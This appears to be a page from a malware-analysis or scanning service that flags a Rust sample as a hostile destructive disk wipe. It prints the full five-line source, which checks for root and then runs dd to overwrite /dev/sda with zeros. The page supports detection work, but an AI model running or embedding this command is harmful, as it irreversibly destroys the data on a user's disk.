Hostile 92% Download

35-linux-dd.rs

Destructive disk wipe command

Destructive overwrite of a raw block deviceLanguage exec of dd zeroing a device
SHA-2566518eefffe8f18acb2dc3ee7872495c821b978dab355617febf7e3401c826c93

Evidence

References a Unix block device path lines 1–5
1use std::process::Command;
2fn main() {
3 if unsafe { libc::geteuid() } != 0 { return; }
4 let _ = Command::new("dd").args(["if=/dev/zero","of=/dev/sda","bs=1M"]).status();
5}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.